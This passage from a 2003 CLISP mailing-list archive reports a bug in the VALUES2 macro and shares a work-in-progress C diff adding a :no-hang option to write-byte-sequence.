assess how important it would be to have this feature > available. Any thoughts on this? it is known that avcall does not work on mac os x. it would be very nice if you could port it. > 2) I needed to make two patches. One is a bit heavy handed and rather > platform dependent: To build under fink, I need to be able to pass in > external LDFLAGS to the linking: thanks, I will check in something based on this. > The other fixes what I believe to be a bug: If --without-dynamic-ffi is > specified, but a dlxxx header exists on the system, compilation failed: thanks, this is already in the CVS. -- Sam Steingold (http://www.podval.org/~sds) running w2k Those who value Life above Freedom are destined to lose both. From don-sourceforge@isis.cs3-inc.com Thu Sep 18 12:09:02 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A049D-0000z6-00 for ; Thu, 18 Sep 2003 12:09:00 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A048b-0004Z6-2A for clisp-list@lists.sourceforge.net; Thu, 18 Sep 2003 12:08:21 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h8IJ4e901262 for clisp-list@lists.sourceforge.net; Thu, 18 Sep 2003 12:04:40 -0700 Message-Id: <200309181904.h8IJ4e901262@isis.cs3-inc.com> X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) To: clisp-list@lists.sourceforge.net X-Spam-Score: -0.4 (/) X-Spam-Report: -0.4/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: I think I'm making progress on write-byte-sequence no-hang, will send more diffs, might even try testing it (!!) In the mean while I notice in clisp.h: #define VALUES0 do{ value1 = NIL; mv_count = 0; }while(0) #define VALUES1(A) do{ value1 = (A); mv_count = 1; }while(0) #define VALUES2(A,B) do{ value1 = (A); value2 = (B); mv_count = 3;}while(0) #define VALUES3(A,B,C) do{ value1 = (A); value2 = (B); value3 = (C); mv_count = 3;}while(0) [...] Content analysis details: (-0.40 points, 5 required) X_AUTH_WARNING (-0.4 points) Has a X-Authentication-Warning header Subject: [clisp-list] bug in clisp.h ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 18 12:11:32 2003 X-Original-Date: Thu, 18 Sep 2003 12:04:40 -0700 I think I'm making progress on write-byte-sequence no-hang, will send more diffs, might even try testing it (!!) In the mean while I notice in clisp.h: #define VALUES0 do{ value1 = NIL; mv_count = 0; }while(0) #define VALUES1(A) do{ value1 = (A); mv_count = 1; }while(0) #define VALUES2(A,B) do{ value1 = (A); value2 = (B); mv_count = 3;}while(0) #define VALUES3(A,B,C) do{ value1 = (A); value2 = (B); value3 = (C); mv_count = 3;}while(0) Shouldn't mv_count be 2 for VALUES2 ? From don-sourceforge@isis.cs3-inc.com Thu Sep 18 16:40:30 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A08Nx-0007e2-00 for ; Thu, 18 Sep 2003 16:40:30 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A08Nv-0001Z9-Jz for clisp-list@lists.sourceforge.net; Thu, 18 Sep 2003 16:40:27 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h8INak504485 for clisp-list@lists.sourceforge.net; Thu, 18 Sep 2003 16:36:46 -0700 Message-Id: <200309182336.h8INak504485@isis.cs3-inc.com> X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) To: clisp-list@lists.sourceforge.net X-Spam-Score: -0.9 (/) X-Spam-Report: -0.9/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Below is current diff. The build finishes but (ext:write-byte-sequence a st :no-hang t) gives me *** - WRITE-BYTE-SEQUENCE: illegal keyword/value pair :NO-HANG, T in argument list. The allowed keywords are (:START :END) [...] Content analysis details: (-0.90 points, 5 required) X_AUTH_WARNING (-0.4 points) Has a X-Authentication-Warning header PATCH_UNIFIED_DIFF (-0.5 points) BODY: Contains what looks like a patch from diff -u Subject: [clisp-list] write-byte-sequence :no-hang Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 18 16:41:03 2003 X-Original-Date: Thu, 18 Sep 2003 16:36:46 -0700 Below is current diff. The build finishes but (ext:write-byte-sequence a st :no-hang t) gives me *** - WRITE-BYTE-SEQUENCE: illegal keyword/value pair :NO-HANG, T in argument list. The allowed keywords are (:START :END) Can someone tell me what I've missed? I expected the following to cause the new argument to be recognized. [in sequence.d] +LISPFUN(write_byte_sequence,seclass_default,2,0,norest,key,3, + (kw(start),kw(end),kw(no_hang)) ) In particular, this is the same as for read-byte-sequence but :no-hang is accepted there. Feel free to tell me what else I'm doing wrong, of course. ================ # diff -ur . ../src | grep -v ^Only diff -ur ./genclisph.d ../src/genclisph.d --- ./genclisph.d Wed Sep 17 16:48:06 2003 +++ ../src/genclisph.d Thu Sep 18 12:32:57 2003 @@ -1486,7 +1486,7 @@ } printf("#define VALUES0 do{ value1 = NIL; mv_count = 0; }while(0)\n"); printf("#define VALUES1(A) do{ value1 = (A); mv_count = 1; }while(0)\n"); - printf("#define VALUES2(A,B) do{ value1 = (A); value2 = (B); mv_count = 3;}while(0)\n"); + printf("#define VALUES2(A,B) do{ value1 = (A); value2 = (B); mv_count = 2;}while(0)\n"); printf("#define VALUES3(A,B,C) do{ value1 = (A); value2 = (B); value3 = (C); mv_count = 3;}while(0)\n"); printf("#define VALUES_IF(C) do{ value1 = (C) ? T : NIL; mv_count = 1; }while(0)\n"); printf("#define args_end_pointer STACK\n"); @@ -1742,7 +1742,7 @@ printf("extern Handle handle_dup (Handle old_handle, Handle new_handle);\n"); printf("extern Handle stream_lend_handle (object stream, bool inputp, int * handletype);\n"); printf("extern uintL read_byte_array (const gcv_object_t* stream_, const gcv_object_t* bytearray_, uintL start, uintL len, bool no_hang);\n"); - printf("extern void write_byte_array (const gcv_object_t* stream_, const gcv_object_t* bytearray_, uintL start, uintL len);\n"); + printf("extern uintL write_byte_array (const gcv_object_t* stream_, const gcv_object_t* bytearray_, uintL start, uintL len, bool no_hang);\n"); printf("extern void builtin_stream_close (const gcv_object_t* stream_);\n"); printf("extern object file_stream_truename (object s);\n"); printf("extern object open_file_stream_handle (object stream, Handle *fd);\n"); diff -ur ./lispbibl.d ../src/lispbibl.d --- ./lispbibl.d Wed Sep 17 16:48:06 2003 +++ ../src/lispbibl.d Wed Sep 17 16:39:18 2003 @@ -12791,12 +12791,13 @@ /* used by SEQUENCE, PATHNAME */ # Function: Writes several bytes to a stream. -# write_byte_array(&stream,&bytearray,start,len) +# write_byte_array(&stream,&bytearray,start,len,no_hang) # > stream: Stream (on the STACK) # > object bytearray: simple-8bit-vector (on the STACK) # > uintL start: start index of byte sequence to be written # > uintL len: length of byte sequence to be written -extern void write_byte_array (const gcv_object_t* stream_, const gcv_object_t* bytearray_, uintL start, uintL len); +# > bool no_hang: don't block, return #bytes written +extern uintL write_byte_array (const gcv_object_t* stream_, const gcv_object_t* bytearray_, uintL start, uintL len, bool no_hang); # is used by SEQUENCE # Function: Reads several characters from a stream. diff -ur ./sequence.d ../src/sequence.d --- ./sequence.d Wed Sep 17 16:48:06 2003 +++ ../src/sequence.d Thu Sep 18 13:04:49 2003 @@ -4251,13 +4251,18 @@ skipSTACK(6); } -LISPFUN(write_byte_sequence,seclass_default,2,0,norest,key,2, - (kw(start),kw(end)) ) -{ /* (WRITE-BYTE-SEQUENCE sequence stream [:start] [:end]), +LISPFUN(write_byte_sequence,seclass_default,2,0,norest,key,3, + (kw(start),kw(end),kw(no_hang)) ) +{ /* (WRITE-BYTE-SEQUENCE sequence stream [:start] [:end] [:no-hang]), it is not clear what this should return when :NO-HANG is T - and only a part of the sequence was written! + and only a part of the sequence was written! + -- new spec [Don Cohen] + - always return sequence as first value (backward compatible) + - optional second value is position of first unwritten byte + if not supplied, assumed to be :end (all written) cf. dpANS p. 21-27 */ - /* stack layout: sequence, stream, start, end. */ + /* stack layout: sequence, stream, start, end, no-hang. */ + var bool no_hang = !missingp(STACK_0); skipSTACK(1); pushSTACK(get_valid_seq_type(STACK_3)); /* sequence check */ /* stack layout: sequence, stream, start, end, typdescr. */ if (!streamp(STACK_3)) { fehler_stream(STACK_3); } /* check stream */ @@ -4270,27 +4275,31 @@ var uintL end = posfixnum_to_L(STACK_1); var uintL index = 0; STACK_0 = array_displace_check(STACK_4,end,&index); - write_byte_array(&STACK_3,&STACK_0,index+start,end-start); - goto done; - } - /* subtract start and end: */ - STACK_1 = I_I_minus_I(STACK_1,STACK_2); /* (- end start), an integer >=0 */ - /* stack layout: sequence, item, start, count, typdescr. */ - /* determine start pointer: */ - pushSTACK(STACK_4); pushSTACK(STACK_(2+1)); - funcall(seq_init_start(STACK_(0+2)),2); /* (SEQ-INIT-START sequence start) */ - STACK_2 = value1; /* =: pointer */ - /* stack layout: sequence, stream, pointer, count, typdescr. */ - while (!eq(STACK_1,Fixnum_0)) { /* count (an integer) = 0 -> done */ + {var uintL result = + write_byte_array(&STACK_3,&STACK_0,index+start,end-start,no_hang); + skipSTACK(5); + VALUES2(popSTACK(),fixnum(start+result)); + }} + else { + /* subtract start and end: */ + STACK_1 = I_I_minus_I(STACK_1,STACK_2); /* (- end start), an integer >=0 */ + /* stack layout: sequence, item, start, count, typdescr. */ + /* determine start pointer: */ pushSTACK(STACK_4); pushSTACK(STACK_(2+1)); - funcall(seq_access(STACK_(0+2)),2); /* (SEQ-ACCESS sequence pointer) */ - write_byte(STACK_3,value1); /* output an element */ - /* pointer := (SEQ-UPD sequence pointer) : */ - pointer_update(STACK_2,STACK_4,STACK_0); - /* count := (1- count) : */ - decrement(STACK_1); + funcall(seq_init_start(STACK_(0+2)),2); /* (SEQ-INIT-START sequence start) */ + STACK_2 = value1; /* =: pointer */ + /* stack layout: sequence, stream, pointer, count, typdescr. */ + while (!eq(STACK_1,Fixnum_0)) { /* count (an integer) = 0 -> done */ + pushSTACK(STACK_4); pushSTACK(STACK_(2+1)); + funcall(seq_access(STACK_(0+2)),2); /* (SEQ-ACCESS sequence pointer) */ + write_byte(STACK_3,value1); /* output an element */ + /* pointer := (SEQ-UPD sequence pointer) : */ + pointer_update(STACK_2,STACK_4,STACK_0); + /* count := (1- count) : */ + decrement(STACK_1); + } + done: + skipSTACK(4); + VALUES1(popSTACK()); /* return sequence */ } - done: - skipSTACK(4); - VALUES1(popSTACK()); /* return sequence */ } diff -ur ./spvw_memfile.d ../src/spvw_memfile.d --- ./spvw_memfile.d Wed Sep 17 16:48:06 2003 +++ ../src/spvw_memfile.d Wed Sep 17 14:04:34 2003 @@ -224,7 +224,7 @@ gar_col(); #define WRITE(buf,len) \ do { begin_system_call(); \ - {var sintL ergebnis = full_write(handle,(RW_BUF_T)buf,len); \ + {var sintL ergebnis = full_write(handle,(RW_BUF_T)buf,len,0); \ if (ergebnis != (sintL)(len)) { \ end_system_call(); \ builtin_stream_close(&STACK_0); \ diff -ur ./stream.d ../src/stream.d --- ./stream.d Wed Sep 17 16:48:06 2003 +++ ../src/stream.d Thu Sep 18 12:43:15 2003 @@ -87,7 +87,7 @@ typedef object (* rd_by_Pseudofun) (object stream); /* Specification for READ-BYTE-ARRAY - Pseudo-Function: - fun(&stream,&bytearray,start,len) + fun(&stream,&bytearray,start,len,no_hang) > stream: stream > object bytearray: simple-8bit-vector > uintL start: start index of byte sequence to be filled @@ -105,13 +105,14 @@ typedef void (* wr_by_Pseudofun) (object stream, object obj); # Specification for WRITE-BYTE-ARRAY - Pseudo-Function: - # fun(&stream,&bytearray,start,len) + # fun(&stream,&bytearray,start,len,no_hang) # > stream: stream # > object bytearray: simple-8bit-vector # > uintL start: start index of byte sequence to be written # > uintL len: length of byte sequence to be written, >0 + # > bool no_hang: do not block # can trigger GC - typedef void (* wr_by_array_Pseudofun) (const gcv_object_t* stream_, const gcv_object_t* bytearray_, uintL start, uintL len); + typedef uintL (* wr_by_array_Pseudofun) (const gcv_object_t* stream_, const gcv_object_t* bytearray_, uintL start, uintL len, bool no_hang); # Specification for READ-CHAR - Pseudo-Function: # fun(&stream) @@ -265,13 +266,14 @@ local void wr_by_array_error (const gcv_object_t* stream_, const gcv_object_t* bytearray_, - uintL start, uintL len) { + uintL start, uintL len, bool no_hang) { fehler_illegal_streamop(S(write_byte),*stream_); } -local void wr_by_array_dummy (const gcv_object_t* stream_, +local uintL wr_by_array_dummy (const gcv_object_t* stream_, const gcv_object_t* bytearray_, - uintL start, uintL len) { + uintL start, uintL len, bool no_hang) { + /* *** no_hang not supported by default */ var uintL end = start + len; var uintL index = start; do { @@ -279,6 +281,7 @@ wr_by(stream)(stream,fixnum(TheSbvector(*bytearray_)->data[index])); index++; } while (index < end); + return len; } local object rd_ch_error (const gcv_object_t* stream_) { @@ -466,11 +469,12 @@ } # Function: Reads several bytes from a stream. -# read_byte_array(&stream,&bytearray,start,len) +# read_byte_array(&stream,&bytearray,start,len,no_hang) # > stream: stream (on the STACK) # > object bytearray: simple-8bit-vector (on the STACK) # > uintL start: start index of byte sequence to be filled # > uintL len: length of byte sequence to be filled +# > bool no_hang: don't block (return #bytes read) # < uintL result: number of bytes that have been filled # can trigger GC global uintL read_byte_array (const gcv_object_t* stream_, @@ -517,25 +521,43 @@ } # Function: Writes several bytes to a stream. -# write_byte_array(&stream,&bytearray,start,len) +# write_byte_array(&stream,&bytearray,start,len,no_hang) # > stream: Stream (on the STACK) # > object bytearray: simple-8bit-vector (on the STACK) # > uintL start: start index of byte sequence to be written # > uintL len: length of byte sequence to be written -global void write_byte_array (const gcv_object_t* stream_, +# > bool no_hang: don't block, return #bytes written +global uintL write_byte_array (const gcv_object_t* stream_, const gcv_object_t* bytearray_, - uintL start, uintL len) { + uintL start, uintL len, bool no_hang) { if (len==0) - return; + return 0; var object stream = *stream_; if (builtin_stream_p(stream)) { - wr_by_array(stream)(stream_,bytearray_,start,len); + return wr_by_array(stream)(stream_,bytearray_,start,len,no_hang); } else { # Call the generic function # (STREAM-WRITE-BYTE-SEQUENCE stream bytearray start start+len): pushSTACK(stream); pushSTACK(*bytearray_); pushSTACK(fixnum(start)); pushSTACK(fixnum(start+len)); - funcall(S(stream_write_byte_sequence),4); + pushSTACK(no_hang ? T : NIL); + funcall(S(stream_write_byte_sequence),5); + if (mv_count >= 2) { + /* second return value is index of first unwritten byte + have to change that here into #bytes written */ + var uintL result; + if (!(posfixnump(value2) + && (result = posfixnum_to_L(value2), + result >= start && result <= start+len))) { + pushSTACK(fixnum(start+len)); + pushSTACK(fixnum(start)); + pushSTACK(S(stream_write_byte_sequence)); + pushSTACK(value2); + fehler(error,GETTEXT("Return value ~ of call to ~ should be an integer between ~ and ~.")); + } + return result-start; + } + return len; } } @@ -1026,14 +1048,16 @@ } # WRITE-BYTE-ARRAY - Pseudo-Function for Synonym-Streams: -local void wr_by_array_synonym (const gcv_object_t* stream_, +local uintL wr_by_array_synonym (const gcv_object_t* stream_, const gcv_object_t* bytearray_, - uintL start, uintL len) { + uintL start, uintL len, bool no_hang) { + int result; check_SP(); check_STACK(); var object symbol = TheStream(*stream_)->strm_synonym_symbol; pushSTACK(get_synonym_stream(symbol)); - write_byte_array(&STACK_0,bytearray_,start,len); + result = write_byte_array(&STACK_0,bytearray_,start,len,no_hang); skipSTACK(1); + return result; } # READ-CHAR - Pseudo-Function for Synonym-Streams: @@ -1266,18 +1290,21 @@ } # WRITE-BYTE-ARRAY - Pseudo-Function for Broadcast-Streams: -local void wr_by_array_broad (const gcv_object_t* stream_, const gcv_object_t* bytearray_, - uintL start, uintL len) { +local uintL wr_by_array_broad (const gcv_object_t* stream_, const gcv_object_t* bytearray_, + uintL start, uintL len, bool no_hang) { check_SP(); check_STACK(); pushSTACK(TheStream(*stream_)->strm_broad_list); # list of streams var object streamlist; + /* what happens if different streams write different amounts? + no_hang not supported for broadcast streams *** */ while (streamlist = STACK_0, consp(streamlist)) { STACK_0 = Cdr(streamlist); pushSTACK(Car(streamlist)); - write_byte_array(&STACK_0,bytearray_,start,len); + write_byte_array(&STACK_0,bytearray_,start,len,0); skipSTACK(1); } skipSTACK(1); + return len; } # WRITE-CHAR - Pseudo-Function for Broadcast-Streams: @@ -1688,13 +1715,15 @@ } # WRITE-BYTE-ARRAY - Pseudo-Function for Two-Way- and Echo-Streams: -local void wr_by_array_twoway (const gcv_object_t* stream_, +local uintL wr_by_array_twoway (const gcv_object_t* stream_, const gcv_object_t* bytearray_, - uintL start, uintL len) { + uintL start, uintL len, bool no_hang) { + int result; check_SP(); check_STACK(); pushSTACK(TheStream(*stream_)->strm_twoway_output); - write_byte_array(&STACK_0,bytearray_,start,len); + result = write_byte_array(&STACK_0,bytearray_,start,len,no_hang); skipSTACK(1); + return result; } # WRITE-CHAR - Pseudo-Function for Two-Way- and Echo-Streams: @@ -1936,7 +1965,8 @@ pushSTACK(TheStream(*stream_)->strm_twoway_input); var uintL result = read_byte_array(&STACK_0,bytearray_,start,len,no_hang); STACK_0 = TheStream(*stream_)->strm_twoway_output; - write_byte_array(&STACK_0,bytearray_,start,result); + write_byte_array(&STACK_0,bytearray_,start,result,0); + /* *** no_hang not supported for echo streams */ skipSTACK(1); return result; } @@ -3460,7 +3490,7 @@ bool ignore_next_LF : 8; # true after reading a CR # Fields used for the output side only: void (* low_write) (object stream, uintB b); - const uintB* (* low_write_array) (object stream, const uintB* byteptr, uintL len); + const uintB* (* low_write_array) (object stream, const uintB* byteptr, uintL len, bool no_hang); void (* low_finish_output) (object stream); void (* low_force_output) (object stream); void (* low_clear_output) (object stream); @@ -5324,10 +5354,11 @@ local const uintB* low_write_array_unbuffered_handle (object stream, const uintB* byteptr, - uintL len) { + uintL len, + bool no_hang) { var Handle handle = TheHandle(TheStream(stream)->strm_ochannel); begin_system_call(); - var sintL result = full_write(handle,byteptr,len); + var sintL result = full_write(handle,byteptr,len,no_hang); if (result<0) { OS_error(); } end_system_call(); if (!(result==(sintL)len)) # not successful? @@ -5355,7 +5386,7 @@ local void wr_by_aux_ia_unbuffered (object stream, uintL bitsize, uintL bytesize) { uintB* bitbufferptr = TheSbvector(TheStream(stream)->strm_bitbuffer)->data; - UnbufferedStreamLow_write_array(stream)(stream,bitbufferptr,bytesize); + UnbufferedStreamLow_write_array(stream)(stream,bitbufferptr,bytesize,0); } # WRITE-BYTE - Pseudo-Function for File-Streams of Integers, Type au : @@ -5377,12 +5408,13 @@ } # WRITE-BYTE-ARRAY - Pseudo-Function for Handle-Streams, Type au, bitsize = 8 : -local void wr_by_array_iau8_unbuffered (const gcv_object_t* stream_, +local uintL wr_by_array_iau8_unbuffered (const gcv_object_t* stream_, const gcv_object_t* bytearray_, - uintL start, uintL len) { + uintL start, uintL len, bool no_hang) { var object stream = *stream_; UnbufferedStreamLow_write_array(stream) - (stream,&TheSbvector(*bytearray_)->data[start],len); + (stream,&TheSbvector(*bytearray_)->data[start],len, no_hang); + return len; } # Character streams @@ -5403,7 +5435,7 @@ Encoding_wcstombs(encoding) (encoding,stream,&cptr,cptr+1,&bptr,&buf[max_bytes_per_chart]); ASSERT(cptr == &c+1); - UnbufferedStreamLow_write_array(stream)(stream,&buf[0],bptr-&buf[0]); + UnbufferedStreamLow_write_array(stream)(stream,&buf[0],bptr-&buf[0],0); #else UnbufferedStreamLow_write(stream)(stream,as_cint(c)); #endif @@ -5424,11 +5456,11 @@ do { var uintB* bptr = &tmptmpbuf[0]; Encoding_wcstombs(encoding)(encoding,stream,&charptr,endptr,&bptr,&tmptmpbuf[tmpbufsize*max_bytes_per_chart]); - UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0],bptr-&tmptmpbuf[0]); + UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0],bptr-&tmptmpbuf[0],0); } until (charptr == endptr); #undef tmpbufsize #else - var const chart* endptr = (const chart*)UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)charptr,len); + var const chart* endptr = (const chart*)UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)charptr,len,0); #endif wr_ss_lpos(stream,endptr,len); # update Line-Position } @@ -5447,7 +5479,7 @@ var uintB* bptr = &buf[0]; Encoding_wcstombs(encoding)(encoding,stream,&cptr,cptr+1,&bptr,&buf[max_bytes_per_chart]); ASSERT(cptr == &c+1); - UnbufferedStreamLow_write_array(stream)(stream,&buf[0],bptr-&buf[0]); + UnbufferedStreamLow_write_array(stream)(stream,&buf[0],bptr-&buf[0],0); #else UnbufferedStreamLow_write(stream)(stream,as_cint(c)); #endif @@ -5486,9 +5518,9 @@ var uintB* bptr = &tmptmpbuf[0]; Encoding_wcstombs(encoding)(encoding,stream,&cptr,tmpptr,&bptr,&tmptmpbuf[tmpbufsize*max_bytes_per_chart]); ASSERT(cptr == tmpptr); - UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0],bptr-&tmptmpbuf[0]); + UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0],bptr-&tmptmpbuf[0],0); #else - UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)tmpbuf,n); + UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)tmpbuf,n,0); #endif } remaining -= n; @@ -5517,10 +5549,10 @@ var uintB* bptr = &buf[0]; Encoding_wcstombs(encoding)(encoding,stream,&cptr,cp+n,&bptr,&buf[2*max_bytes_per_chart]); ASSERT(cptr == cp+n); - UnbufferedStreamLow_write_array(stream)(stream,&buf[0],bptr-&buf[0]); + UnbufferedStreamLow_write_array(stream)(stream,&buf[0],bptr-&buf[0],0); #else if (chareq(c,ascii(NL))) { - UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)crlf,2); + UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)crlf,2,0); } else { UnbufferedStreamLow_write(stream)(stream,as_cint(c)); } @@ -5562,9 +5594,9 @@ var uintB* bptr = &tmptmpbuf[0]; Encoding_wcstombs(encoding)(encoding,stream,&cptr,tmpptr,&bptr,&tmptmpbuf[2*tmpbufsize*max_bytes_per_chart]); ASSERT(cptr == tmpptr); - UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0],bptr-&tmptmpbuf[0]); + UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0],bptr-&tmptmpbuf[0],0); #else - UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)tmpbuf,tmpptr-&tmpbuf[0]); + UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)tmpbuf,tmpptr-&tmpbuf[0],0); #endif } remaining -= n; @@ -5600,7 +5632,7 @@ end_system_call(); var uintL outcount = outptr-(char*)tmpbuf; if (outcount > 0) { - UnbufferedStreamLow_write_array(stream)(stream,&tmpbuf[0],outcount); + UnbufferedStreamLow_write_array(stream)(stream,&tmpbuf[0],outcount,0); } #undef tmpbufsize } @@ -6002,7 +6034,7 @@ var sintL result = # write Buffer full_write(TheHandle(BufferedStream_channel(stream)), BufferedStream_buffer_address(stream,0), - bufflen); + bufflen, 0); if (result==bufflen) { # everything written correctly end_system_call(); BufferedStream_modified(stream) = false; } else { # not everything written @@ -6264,15 +6296,17 @@ # UP: Writes an Array of Bytes to an (open) Byte-based # File-Stream. -# write_byte_array_buffered(stream,byteptr,len) +# write_byte_array_buffered(stream,byteptr,len,no_hang) # > stream : (open) Byte-based File-Stream. # > byteptr[0..len-1] : Bytes to be written. # > len : > 0 +# > no_hang : don't block # < result: &byteptr[len] # changed in stream: index, endvalid, buffstart local const uintB* write_byte_array_buffered (object stream, const uintB* byteptr, - uintL len) { + uintL len, bool no_hang) { + /* *** no_hang not yet supported here */ var uintL remaining = len; var uintB* ptr; do { # still remaining>0 Bytes to be filed. @@ -6609,7 +6643,7 @@ Encoding_wcstombs(encoding)(encoding,stream,&cptr,cptr+1,&bptr,&buf[max_bytes_per_chart]); ASSERT(cptr == &c+1); var uintL buflen = bptr-&buf[0]; - write_byte_array_buffered(stream,&buf[0],buflen); + write_byte_array_buffered(stream,&buf[0],buflen,0); # increment position BufferedStream_position(stream) += buflen; #else @@ -6633,13 +6667,13 @@ var uintB* bptr = &tmptmpbuf[0]; Encoding_wcstombs(encoding)(encoding,stream,&charptr,endptr,&bptr,&tmptmpbuf[tmpbufsize*max_bytes_per_chart]); var uintL tmptmpbuflen = bptr-&tmptmpbuf[0]; - write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen); + write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen,0); # increment position BufferedStream_position(stream) += tmptmpbuflen; } until (charptr == endptr); #undef tmpbufsize #else - write_byte_array_buffered(stream,(const uintB*)charptr,len); + write_byte_array_buffered(stream,(const uintB*)charptr,len,0); # increment position BufferedStream_position(stream) += len; #endif @@ -6661,7 +6695,7 @@ Encoding_wcstombs(encoding)(encoding,stream,&cptr,cptr+1,&bptr,&buf[max_bytes_per_chart]); ASSERT(cptr == &c+1); var uintL buflen = bptr-&buf[0]; - write_byte_array_buffered(stream,&buf[0],buflen); + write_byte_array_buffered(stream,&buf[0],buflen,0); # increment position BufferedStream_position(stream) += buflen; #else @@ -6701,7 +6735,7 @@ Encoding_wcstombs(encoding)(encoding,stream,&cptr,tmpptr,&bptr,&tmptmpbuf[tmpbufsize*max_bytes_per_chart]); ASSERT(cptr == tmpptr); var uintL tmptmpbuflen = bptr-&tmptmpbuf[0]; - write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen); + write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen,0); # increment position BufferedStream_position(stream) += tmptmpbuflen; } @@ -6742,7 +6776,7 @@ Encoding_wcstombs(encoding)(encoding,stream,&cptr,cp+n,&bptr,&buf[2*max_bytes_per_chart]); ASSERT(cptr == cp+n); var uintL buflen = bptr-&buf[0]; - write_byte_array_buffered(stream,&buf[0],buflen); + write_byte_array_buffered(stream,&buf[0],buflen,0); # increment position BufferedStream_position(stream) += buflen; #else @@ -6788,7 +6822,7 @@ Encoding_wcstombs(encoding)(encoding,stream,&cptr,tmpptr,&bptr,&tmptmpbuf[2*tmpbufsize*max_bytes_per_chart]); ASSERT(cptr == tmpptr); var uintL tmptmpbuflen = bptr-&tmptmpbuf[0]; - write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen); + write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen,0); # increment position BufferedStream_position(stream) += tmptmpbuflen; } @@ -6837,7 +6871,7 @@ end_system_call(); var uintL outcount = outptr-(char*)tmpbuf; if (outcount > 0) { - write_byte_array_buffered(stream,&tmpbuf[0],outcount); + write_byte_array_buffered(stream,&tmpbuf[0],outcount,0); # increment position BufferedStream_position(stream) += outcount; } @@ -7114,7 +7148,7 @@ buffered_writebyte(stream,*bitbufferptr++); }); #else - write_byte_array_buffered(stream,bitbufferptr,bytesize); + write_byte_array_buffered(stream,bitbufferptr,bytesize,0); #endif # increment position: BufferedStream_position(stream) += 1; @@ -7230,12 +7264,14 @@ } # WRITE-BYTE-SEQUENCE for File-Streams of Integers, Type au, bitsize = 8 : -local void wr_by_array_iau8_buffered (const gcv_object_t* stream_, +local uintL wr_by_array_iau8_buffered (const gcv_object_t* stream_, const gcv_object_t* bytearray_, - uintL start, uintL len) { - write_byte_array_buffered(*stream_,TheSbvector(*bytearray_)->data+start,len); + uintL start, uintL len, bool no_hang) { + /* no_hang not supported here *** */ + write_byte_array_buffered(*stream_,TheSbvector(*bytearray_)->data+start,len,no_hang); # increment position: BufferedStream_position(*stream_) += len; + return len; } # File-Stream in general @@ -13424,7 +13460,7 @@ var sintL result = # flush Buffer full_write(TheHandle(BufferedStream_channel(stream)), BufferedStream_buffer_address(stream,0), - bufflen); + bufflen,0); writing_to_subprocess = false; if (result == bufflen) { # everything was written correctly end_system_call(); BufferedStream_modified(stream) = false; @@ -13635,15 +13671,15 @@ fehler_unwritable(TheSubr(subr_self)->name,stream); } -local const uintB* low_write_array_unbuffered_pipe (object stream, const uintB* byteptr, uintL len) { +local const uintB* low_write_array_unbuffered_pipe (object stream, const uintB* byteptr, uintL len, bool no_hang) { var Handle handle = TheHandle(TheStream(stream)->strm_ochannel); begin_system_call(); writing_to_subprocess = true; - var sintL result = full_write(handle,byteptr,len); + var sintL result = full_write(handle,byteptr,len,no_hang); writing_to_subprocess = false; if (result<0) { OS_error(); } end_system_call(); - if (!(result==(sintL)len)) # not successful? + if 